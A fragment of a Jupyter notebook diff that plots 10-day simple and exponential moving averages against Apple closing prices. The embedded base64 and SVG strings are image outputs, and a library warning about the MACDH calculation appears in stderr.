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\n"
+     },
+     "metadata": {
+      "needs_background": "light"
+     }
+    }
+   ],
+   "source": [
+    "plt.plot(stocks[\"close_10_sma\"], color=\"b\", label=\"SMA\") # plotting SMA\n",
+    "plt.plot(stocks[\"close_10_ema\"], color=\"k\", label=\"EMA\")\n",
+    "plt.plot(df_aapl.Close, color=\"g\", label=\"Close prices\") # plotting close prices\n",
+    "plt.legend(loc=\"lower right\")\n",
+    "plt.show()"
+   ]
+  },
+  {
+   "cell_type": "code",
+   "execution_count": 13,
+   "metadata": {
+    "tags": []
+   },
+   "outputs": [
+    {
+     "output_type": "stream",
+     "name": "stderr",
+     "text": "NOTE: Behavior of MACDH calculation has changed as of July 2017 - it is now 1/2 of previous calculated values\n"
+    },
+    {
+     "output_type": "display_data",
+     "data": {
+      "text/plain": "",
+      "image/svg+xml": "\r\n\r\n\r\n\r\n \r\n  \r\n  \r\n \r\n  \r\n   \r\n    \r\n  \r\n   \r\n    \r\n     \r\n   \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n       \r\n       \r\n       \r\n       \r\n            \r\n      \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n              \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n              \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n        \r\n      \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n              \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n        \r\n      \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n              \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n        \r\n      \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n              \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n        \r\n      \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n              \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n        \r\n      \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n              \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n        \r\n      \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n              \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n              \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n       \r\n              \r\n      \r\n     \r\n    \r\n   \r\n    \r\n     \r\n      \r\n       \r\n        \r\n      \r\n       \r\n        \r\n      \r\n     \r\n      \r\n      \r\n       \r\n        \r\n      \r\n       \r\n       \r\n         \r\n      \r\n     \r\n    \r\n     \r\n      \r\n       